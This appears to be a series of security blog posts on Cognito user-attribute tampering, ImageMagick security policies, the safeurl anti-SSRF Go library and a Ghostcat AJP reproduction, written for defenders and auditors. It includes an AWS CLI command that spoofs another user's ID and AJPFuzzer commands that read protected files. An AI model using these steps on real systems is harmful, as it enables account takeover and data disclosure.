Tampering User Attributes In AWS Cognito User Pools


From The Previous Episode… Did you solve the CloudSecTidbit Ep. 1 IaC lab?


The challenge for the data-import CloudSecTidbit is basically reading the content of an internal bucket. The frontend web application is using the targeted bucket to store the logo of the app.

The name of the bucket is returned to the client by calling the /variable endpoint:

    type: 'GET',
    url: '/variable',
    dataType: 'json',
    success: function (data) {
        let source_internal = `https://${data}.s3.amazonaws.com/public-stuff/logo.png?${Math.random()}`;
        $(".logo_image").attr("src", source_internal);
    error: function (jqXHR, status, err) {
        alert("Error getting variable name");

The server will return something like:


So the schema should be clear now. Let’s use the data import functionality and try to leak the content of the data-internal-private S3 bucket:

Extracting data from the internal S3 bucket

Then, by visiting the Data Gallery section, you will see the keys.txt and dummy.txt objects, which are stored within the internal bucket.

Tidbit No. 2 - Tampering User Attributes In AWS Cognito User Pools

Amazon Web Services offer a complete solution to add user sign-up, sign-in, and access control to web and mobile applications: Cognito. Let’s first talk about the service in general terms.

From AWS Cognito’s welcome page:

“Using the Amazon Cognito user pools API, you can create a user pool to manage directories and users. You can authenticate a user to obtain tokens related to user identity and access policies.”

Amazon Cognito collects a user’s profile attributes into directories called pools that an application uses to handle all authentication related tasks.

Pool Types

The two main components of Amazon Cognito are:

  • User pools: Provide sign-up and sign-in options for app users along with attributes association for each user.
  • Identity pools: Provide the possibility to grant users access to other AWS services (e.g., DynamoDB or Amazon S3).

With a user pool, users can sign in to an app through Amazon Cognito, OAuth2, and SAML identity providers.

Each user has a profile that applications can access through the software development kit (SDK).

User Attributes

User attributes are pieces of information stored to characterize individual users, such as name, email address, and phone number. A new user pool has a set of default standard attributes. It is also possible to add custom attributes to satisfy custom needs.

App Clients & Authentication

An app is an entity within a user pool that has permission to call management operation APIs, such as those used for user registration, sign-in, and forgotten passwords.

In order to call the operation APIs, an app client ID and an optional client secret are needed. Multiple app integrations can be created for a single user pool, but typically, an app client corresponds to the platform of an app.

A user can be authenticated in different ways using Cognito, but the main options are:

  • Client-side authentication flow - Used in client-side apps to obtain a valid session token (JWT) directly from the pool;
  • Server-side authentication flow - Used in server-side app with the authenticated server-side API for Amazon Cognito user pools. The server-side app calls the AdminInitiateAuth API operation. This operation requires AWS credentials with permissions that include cognito-idp:AdminInitiateAuth and cognito-idp:AdminRespondToAuthChallenge. The operation returns the required authentication parameters.

In both the cases, the end-user should receive the resulting JSON Web Token.

After that first look at AWS SDK credentials, we can jump straight to the tidbit case.

Unrestricted User Attributes Write in AWS Cognito User Pool - The Third-party Users Mapping Case

For this case, we will focus on a vulnerability identified in a Web Platform that was using AWS Cognito.

The platform used Cognito to manage users and map them to their account in a third-party platform X_platform strictly interconnected with the provided service.

In particular, users were able to connect their X_platform account and allow the platform to fetch their data in X_platform for later use.

  "sub": "cf9..[REDACTED]",
  "device_key": "us-east-1_ab..[REDACTED]",
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_..[REDACTED]",
  "client_id": "9..[REDACTED]",
  "origin_jti": "ab..[REDACTED]",
  "event_id": "d..[REDACTED]",
  "token_use": "access",
  "scope": "aws.cognito.signin.user.admin",
  "auth_time": [REDACTED],
  "exp": [REDACTED],
  "iat": [REDACTED],
  "jti": "3b..[REDACTED]",
  "username": "[REDACTED]"

In AWS Cognito, user tokens permit calls to all the User Pool APIs that can be hit using access tokens alone.

The permitted API definitions can be found here.

If the request syntax for the API call includes the parameter "AccessToken": "string", then it allows users to modify something on their own UserPool entry with the previously inspected JWT.

The above described design does not represent a vulnerability on its own, but having users able to edit their own User Attributes in the pool could lead to severe impacts if the backend is using them to apply internal platform logic.

The user associated data within the pool was fetched by using the AWS CLI:

$ aws cognito-idp get-user --region us-east-1--access-token eyJra..[REDACTED SESSION JWT]
    "Username": "[REDACTED]",
    "UserAttributes": [
            "Name": "sub",
            "Value": "cf915…[REDACTED]"
            "Name": "email_verified",
            "Value": "true"
            "Name": "name",
            "Value": "[REDACTED]"
            "Name": "custom:X_platform_user_id",
            "Value": "[REDACTED ID]"
            "Name": "email",
            "Value": "[REDACTED]"

The Simple Deduction

After finding the X_platform_user_id user pool attribute, it was clear that it was there for a specific purpose. In fact, the platform was fetching the attribute to use it as the primary key to query the associated refresh_token in an internal database.

Attempting to spoof the attribute was as simple as executing:

$ aws --region us-east-1 cognito-idp update-user-attributes --user-attributes "Name=custom:X_platform_user_id,Value=[ANOTHER REDACTED ID]" --access-token eyJra..[REDACTED SESSION JWT]

The attribute edit succeeded and the data from the other user started to flow into the attacker’s account. The platform trusted the attribute as immutable and used it to retrieve a refresh_token needed to fetch and show data from X_platform in the UI.

Point Of The Story - Default READ/WRITE Perms On User Attributes

In AWS Cognito, App Integrations (Clients) have default read/write permissions on User Attributes.

The following image shows the “Attribute read and write permissions” configuration for a new App Integration within a User Pool.

Consequently, authenticated users are able to edit their own attributes by using the access token (JWT) and AWS CLI.

In conclusion, it is very important to know about such behavior and set the permissions correctly during the pool creation. Depending on the platform logic, some attributes should be set as read-only to make them trustable by internal flows.

For cloud security auditors

While auditing cloud-driven web platforms, look for JWTs issued by AWS Cognito, then answer the following questions:

  • Which User Attributes are associated with the user pool?
  • Which ones are editable with the JWT directly via AWS CLI?
    • Among the editable ones, is the platform trusting such claims?
      • For what internal logic or functional flow?
      • How does editing affect the business logic?

For developers

Remove write permissions for every platform-critical user attribute within App Integration for the used Users Pool (AWS Cognito).

By removing it, users will not be able to perform attribute updates using their access tokens.

Updates will be possible only via admin actions such as the admin-update-user-attributes method, which requires AWS credentials.

+1 remediation tip: To avoid doing it by hand, apply the r/w config in your IaC and have the infrastructure correctly deployed. Terraform example:

resource "aws_cognito_user_pool" "my_pool" {
  name = "my_pool"


resource "aws_cognito_user_pool" "pool" {
  name = "pool"

resource "aws_cognito_user_pool_client" "client" {
  name = "client"

  user_pool_id = aws_cognito_user_pool.pool.id
  read_attributes = ["email"]
  write_attributes = ["email"]

The given Terraform example file will create a pool where the client will have only read/write permissions on the “email” attribute. In fact, if at least one attribute is specified either in the read_attributes or write_attributes lists, the default r/w policy will be ignored.

By doing so, it is possible to strictly specify the attributes with read/write permissions while implicitly denying them on the non-specified ones.

Please ensure to properly handle the email and phone number verification in Cognito context. Since they may contain unverified values, remember to apply the RequireAttributesVerifiedBeforeUpdate parameter.

Hands-On IaC Lab

As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: https://github.com/doyensec/cloudsec-tidbits/

Stay tuned for the next episode!


ImageMagick Security Policy Evaluator

During our audits we occasionally stumble across ImageMagick security policy configuration files (policy.xml), useful for limiting the default behavior and the resources consumed by the library. In the wild, these files often contain a plethora of recommendations cargo cultured from around the internet. This normally happens for two reasons:

  • Its options are only generally described on the online documentation page of the library, with no clear breakdown of what each security directive allowed by the policy is regulating. While the architectural complexity and the granularity of options definable by the policy are the major obstacles for a newbie, the corresponding knowledge base could be more welcoming. By default, ImageMagick comes with an unrestricted policy that must be tuned by the developers depending on their use. According to the docs, “this affords maximum utility for ImageMagick installations that run in a sandboxed environment, perhaps in a Docker instance, or behind a firewall where security risks are greatly diminished as compared to a public website.” A secure strict policy is also made available, however as noted in the past not always is well configured.
  • ImageMagick supports over 100 major file formats (not including sub-formats) types of image formats. The infamous vulnerabilities affecting the library over the years produced a number of urgent security fixes and workarounds involving the addition of policy items excluding the affected formats and features (ImageTragick in 2016, @taviso’s RCE via GhostScript in 2018, @insertScript’s shell injection via PDF password in 2020, @alexisdanizan’s in 2021).

Towards safer policies

With this in mind, we decided to study the effects of all the options accepted by ImageMagick’s security policy parser and write a tool to assist both the developers and the security teams in designing and auditing these files. Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy. It’s also easy to set policies that appear to work, but offer no real security benefit. The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers.

The tool can be found at imagemagick-secevaluator.doyensec.com/.

Allowlist vs Denylist approach

A number of seemingly secure policies can be found online, specifying a list of insecure coders similar to:

  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="EPI" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="PLT" />
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="XPS" />

In ImageMagick 6.9.7-7, an unlisted change was pushed. The policy parser changed behavior from disallowing the use of a coder if there was at least one none-permission rule in the policy to respecting the last matching rule in the policy for the coder. This means that it is possible to adopt an allowlist approach in modern policies, first denying all coders rights and enabling the vetted ones. A more secure policy would specify:

  <policy domain="delegate" rights="none" pattern="*" />
  <policy domain="coder" rights="none" pattern="*" />
  <policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />

Case sensitivity

Consider the following directive:

  <policy domain="coder" rights="none" pattern="ephemeral,epi,eps,msl,mvg,pdf,plt,ps,ps2,ps3,show,text,win,xps" />

With this, conversions will still be allowed, since policy patterns are case sensitive. Coders and modules must always be upper-case in the policy (e.g. “EPS” not “eps”).

Resource limits

Denial of service in ImageMagick is quite easy to achieve. To get a fresh set of payloads it’s convenient to search “oom” or similar keywords in the recently opened issues reported on the Github repository of the library. This is an issue since an ImageMagick instance accepting potentially malicious inputs (which is often the case) will always be prone to be exploited. Because of this, the tool also reports if reasonable limits are not explicitly set by the policy.

Policy fragmentation

Once a policy is defined, it’s important to make sure that the policy file is taking effect. ImageMagick packages bundled with the distribution or installed as dependencies through multiple package managers may specify different policies that interfere with each other. A quick find on your local machine will identify multiple occurrences of policy.xml files:

$ find / -iname policy.xml

# Example output on macOS

# Example output on Ubuntu

Policies can also be configured using the -limit CLI argument, MagickCore API methods, or with environment variables.

A starter, restrictive policy

Starting from the most restrictive policy described in the official documentation, we designed a restrictive policy gathering all our observations:

<policymap xmlns="">
  <policy domain="resource" name="temporary-path" value="/mnt/magick-conversions-with-restrictive-permissions"/> <!-- the location should only be accessible to the low-privileged user running ImageMagick -->
  <policy domain="resource" name="memory" value="256MiB"/>
  <policy domain="resource" name="list-length" value="32"/>
  <policy domain="resource" name="width" value="8KP"/>
  <policy domain="resource" name="height" value="8KP"/>
  <policy domain="resource" name="map" value="512MiB"/>
  <policy domain="resource" name="area" value="16KP"/>
  <policy domain="resource" name="disk" value="1GiB"/>
  <policy domain="resource" name="file" value="768"/>
  <policy domain="resource" name="thread" value="2"/>
  <policy domain="resource" name="time" value="10"/>
  <policy domain="module" rights="none" pattern="*" /> 
  <policy domain="delegate" rights="none" pattern="*" />
  <policy domain="coder" rights="none" pattern="*" /> 
  <policy domain="coder" rights="write" pattern="{PNG,JPG,JPEG}" /> <!-- your restricted set of acceptable formats, set your rights needs -->
  <policy domain="filter" rights="none" pattern="*" />
  <policy domain="path" rights="none" pattern="@*"/>
  <policy domain="cache" name="memory-map" value="anonymous"/>
  <policy domain="cache" name="synchronize" value="true"/>
  <!-- <policy domain="cache" name="shared-secret" value="my-secret-passphrase" stealth="True"/> Only needed for distributed pixel cache spanning multiple servers -->
  <policy domain="system" name="shred" value="2"/>
  <policy domain="system" name="max-memory-request" value="256MiB"/>
  <policy domain="resource" name="throttle" value="1"/> <!-- Periodically yield the CPU for at least the time specified in ms -->
  <policy xmlns="" domain="system" name="precision" value="6"/>

You can verify that a security policy is active using the identify command:

identify -list policy
Path: ImageMagick/policy.xml

You can also play with the above policy using our evaluator tool while developing a tailored one.

safeurl for Go

Do you need a Go HTTP library to protect your applications from SSRF attacks? If so, try safeurl. It’s a one-line drop-in replacement for Go’s net/http client.

No More SSRF in Go Web Apps

When building a web application, it is not uncommon to issue HTTP requests to internal microservices or even external third-party services. Whenever a URL is provided by the user, it is important to ensure that Server-Side Request Forgery (SSRF) vulnerabilities are properly mitigated. As eloquently described in PortSwigger’s Web Security Academy pages, SSRF is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

While libraries mitigating SSRF in numerous programming languages exist, Go didn’t have an easy to use solution. Until now!

safeurl for Go is a library with built-in SSRF and DNS rebinding protection that can easily replace Go’s default net/http client. All the heavy work of parsing, validating and issuing requests is done by the library. The library works out-of-the-box with minimal configuration, while providing developers the customizations and filtering options they might need. Instead of fighting to solve application security problems, developers should be free to focus on delivering quality features to their customers.

This library was inspired by SafeCURL and SafeURL, respectively by Jack Whitton and Include Security. Since no SafeURL for Go existed, Doyensec made it available for the community.

What Does safeurl Offer?

With minimal configuration, the library prevents unauthorized requests to internal, private or reserved IP addresses. All HTTP connections are validated against an allowlist and a blocklist. By default, the library blocks all traffic to private or reserved IP addresses, as defined by RFC1918. This behavior can be updated via the safeurl’s client configuration. The library will give precedence to allowed items, be it a hostname, an IP address or a port. In general, allowlisting is the recommended way of building secure systems. In fact, it’s easier (and safer) to explicitly set allowed destinations, as opposed to having to deal with updating a blocklist in today’s ever-expanding threat landscape.


Include the safeurl module in your Go program by simply adding github.com/doyensec/safeurl to your project’s go.mod file.

go get -u github.com/doyensec/safeurl


The safeurl.Client, provided by the library, can be used as a drop-in replacement of Go’s native net/http.Client.

The following code snippet shows a simple Go program that uses the safeurl library:

import (

func main() {
    config := safeurl.GetConfigBuilder().

    client := safeurl.Client(config)

    resp, err := client.Get("https://example.com")
    if err != nil {
        fmt.Errorf("request return error: %v", err)

    // read response body

The minimal library configuration looks something like:

config := GetConfigBuilder().Build()

Using this configuration you get:

  • allowed traffic only for ports 80 and 443
  • allowed traffic which uses HTTP or HTTPS protocols
  • blocked traffic to private IP addresses
  • blocked IPv6 traffic to any address
  • mitigation for DNS rebinding attacks


The safeurl.Config is used to customize the safeurl.Client. The configuration can be used to set the following:

AllowedPorts            - list of ports the application can connect to
AllowedSchemes          - list of schemas the application can use
AllowedHosts            - list of hosts the application is allowed to communicate with
BlockedIPs              - list of IP addresses the application is not allowed to connect to
AllowedIPs              - list of IP addresses the application is allowed to connect to
AllowedCIDR             - list of CIDR range the application is allowed to connect to
BlockedCIDR             - list of CIDR range the application is not allowed to connect to
IsIPv6Enabled           - specifies whether communication through IPv6 is enabled
AllowSendingCredentials - specifies whether HTTP credentials should be sent
IsDebugLoggingEnabled   - enables debug logs

Being a wrapper around Go’s native net/http.Client, the library allows you to configure others standard settings as well, such as HTTP redirects, cookie jar settings and request timeouts. Please refer to the official docs for more information on the suggested configuration for production environments.

Configuration examples

To showcase how versatile safeurl.Client is, let us show you a few configuration examples.

It is possible to allow only a single schema:


Or configure one or more allowed ports:

// This enables only port 8080. All others are blocked (80, 443 are blocked too)

// This enables only port 8080, 443, 80
    SetAllowedPorts(8080, 80, 443). 

// **Incorrect.** This configuration will allow traffic to the last allowed port (443), and overwrite any that was set before

This configuration allows traffic to only one host, example.com in this case:


Additionally, you can block specific IPs (IPv4 or IPv6):


Note that with the previous configuration, the safeurl.Client will block the IP in addition to all IPs belonging to internal, private or reserved networks.

If you wish to allow traffic to an IP address, which the client blocks by default, you can use the following configuration:


It’s also possible to allow or block full CIDR ranges instead of single IPs:

    SetBlockedIPsCIDR("", "", "2001:4860:4860::8888/32").

DNS Rebinding mitigation

DNS rebinding attacks are possible due to a mismatch in the DNS responses between two (or more) consecutive HTTP requests. This vulnerability is a typical TOCTOU problem. At the time-of-check (TOC), the IP points to an allowed destination. However, at the time-of-use (TOU), it will point to a completely different IP address.

DNS rebinding protection in safeurl is accomplished by performing the allow/block list validations on the actual IP address which will be used to make the HTTP request. This is achieved by utilizing Go’s net/dialer package and the provided Control hook. As stated in the official documentation:

// If Control is not nil, it is called after creating the network
// connection but before actually dialing.
Control func(network, address string, c syscall.RawConn) error

In our safeurl implementation, the IPs validation happens inside the Control hook. The following snippet shows some of the checks being performed. If all of them pass, the HTTP dial occurs. In case a check fails, the HTTP request is dropped.

func buildRunFunc(wc *WrappedClient) func(network, address string, c syscall.RawConn) error {

return func(network, address string, _ syscall.RawConn) error {
	// [...]
	if wc.config.AllowedIPs == nil && isIPBlocked(ip, wc.config.BlockedIPs) {
		wc.log(fmt.Sprintf("ip: %v found in blocklist", ip))
		return &AllowedIPError{ip: ip.String()}

	if !isIPAllowed(ip, wc.config.AllowedIPs) && isIPBlocked(ip, wc.config.BlockedIPs) {
		wc.log(fmt.Sprintf("ip: %v not found in allowlist", ip))
		return &AllowedIPError{ip: ip.String()}

	return nil

Help Us Make safeurl Better (and Safer)

We’ve performed extensive testing during the library development. However, we would love to have others pick at our implementation.

“Given enough eyes, all bugs are shallow”. Hopefully.

Connect to and attempt to catch the flag hosted on this internal (and unauthorized) URL:

The challenge was shut down on 01/13/2023. You can always run the challenge locally, by using the code snippet below.

This is the source code of the challenge endpoint, with the specific safeurl configuration:

func main() {
	cfg := safeurl.GetConfigBuilder().
		SetAllowedPorts(80, 443).

	client := safeurl.Client(cfg)

	router := gin.Default()

	router.GET("/webhook", func(context *gin.Context) {
		urlFromUser := context.Query("url")
		if urlFromUser == "" {
			errorMessage := "Please provide an url. Example: /webhook?url=your-url.com\n"
			context.String(http.StatusBadRequest, errorMessage)
		} else {
			stringResponseMessage := "The server is checking the url: " + urlFromUser + "\n"

			resp, err := client.Get(urlFromUser)

			if err != nil {
				stringError := fmt.Errorf("request return error: %v", err)
				context.String(http.StatusBadRequest, err.Error())

			defer resp.Body.Close()
			bodyString, err := io.ReadAll(resp.Body)

			if err != nil {
				context.String(http.StatusInternalServerError, err.Error())

			fmt.Print("Response from the server: " + stringResponseMessage)
			context.String(http.StatusOK, string(bodyString))

	router.GET("/flag", func(context *gin.Context) {
		ip := context.RemoteIP()
		nip := net.ParseIP(ip)
		if nip != nil {
			if nip.IsLoopback() {
				context.String(http.StatusOK, "You found the flag")
			} else {
				context.String(http.StatusForbidden, "")
		} else {
			context.String(http.StatusInternalServerError, "")

	router.GET("/", func(context *gin.Context) {

		indexPage := "<!DOCTYPE html><html lang=\"en\"><head><title>SafeURL - challenge</title></head><body>...</body></html>"
		context.Writer.Header().Set("Content-Type", "text/html; charset=UTF-8")
		context.String(http.StatusOK, indexPage)


If you are able to bypass the check enforced by the safeurl.Client, the content of the flag will give you further instructions on how to collect your reward. Please note that unintended ways of getting the flag (e.g., not bypassing safeurl.Client) are considered out of scope.

Feel free to contribute with pull requests, bug reports or enhancements ideas.

This tool was possible thanks to the 25% research time at Doyensec. Tune in again for new episodes.

Let's speak AJP


AJP (Apache JServ Protocol) is a binary protocol developed in 1997 with the goal of improving the performance of the traditional HTTP/1.1 protocol especially when proxying HTTP traffic between a web server and a J2EE container. It was originally created to manage efficiently the network throughput while forwarding requests from server A to server B.

A typical use case for this protocol is shown below: AJP schema

During one of my recent research weeks at Doyensec, I studied and analyzed how this protocol works and its implementation within some popular web servers and Java containers. The research also aimed at reproducing the infamous Ghostcat (CVE-2020-1938) vulnerability discovered in Tomcat by Chaitin Tech researchers, and potential discovering other look-alike bugs.


This vulnerability affected the AJP connector component of the Apache Tomcat Java servlet container, allowing malicious actors to perform local file inclusion from the application root directory. In some circumstances, this issue would allow attackers to perform arbitrary command execution. For more details about Ghostcat, please refer to the following blog post: https://hackmag.com/security/apache-tomcat-rce/

Communicating via AJP

Back in 2017, our own Luca Carettoni developed and released one of the first, if not the first, open source libraries implementing the Apache JServ Protocol version 1.3 (ajp13). With that, he also developed AJPFuzzer. Essentially, this is a rudimental fuzzer that makes it easy to send handcrafted AJP messages, run message mutations, test directory traversals and fuzz on arbitrary elements within the packet.

With minor tuning, AJPFuzzer can be also used to quickly reproduce the GhostCat vulnerability. In fact, we’ve successfully reproduced the attack by sending a crafted forwardrequest request including the javax.servlet.include.servlet_path and javax.servlet.include.path_info Java attributes, as shown below:

$ java -jar ajpfuzzer_v0.7.jar

$ AJPFuzzer> connect 8009
connect 8009
[*] Connecting to
Connected to the remote AJP13 service

Once connected to the target host, send the malicious ForwardRequest packet message and verify the discosure of the test.xml file:

$ AJPFuzzer/> forwardrequest 2 "HTTP/1.1" "/" 8009 false "Cookie:test=value" "javax.servlet.include.path_info:/WEB-INF/test.xml,javax.servlet.include.servlet_path:/"

[*] Sending Test Case '(2) forwardrequest'
[*] 2022-10-13 23:02:45.648

... trimmed ...

[*] Received message type 'Send Body Chunk'
[*] Received message description 'Send a chunk of the body from the servlet container to the web server.
Content (HEX):
Content (Ascii):
[*] 2022-10-13 23:02:46.859

00000000 41 42 00 1C 03 00 18 3C 68 65 6C 6C 6F 3E 64 6F AB.....<hello>do
00000010 79 65 6E 73 65 63 3C 2F 68 65 6C 6C 6F 3E 0A 00 yensec</hello>..

[*] Received message type 'End Response'
[*] Received message description 'Marks the end of the response (and thus the request-handling cycle). Reuse? Yes'
[*] 2022-10-13 23:02:46.86

The server AJP connector will receive an AJP message with the following structure:

AJP schema wireshark

The combination of libajp13, AJPFuzzer and the Wireshark AJP13 dissector made it easier to understand the protocol and play with it. For example, another noteworthy test case in AJPFuzzer is named genericfuzz. By using this command, it’s possible to perform fuzzing on arbitrary elements within the AJP request, such as the request attributes name/value, secret, cookies name/value, request URI path and much more:

$ AJPFuzzer> connect 8009
connect 8009
[*] Connecting to
Connected to the remote AJP13 service

$ AJPFuzzer/> genericfuzz 2 "HTTP/1.1" "/" "" "" "" 8009 false "Cookie:AAAA=BBBB" "secret:FUZZ" /tmp/listFUZZ.txt

AJP schema fuzz


Web binary protocols are fun to learn and reverse engineer.

For defenders:

  • Do not expose your AJP interfaces in hostile networks. Instead, consider switching to HTTP/2
  • Protect the AJP interface by enabling a shared secret. In this case, the workers must also include a matching value for the secret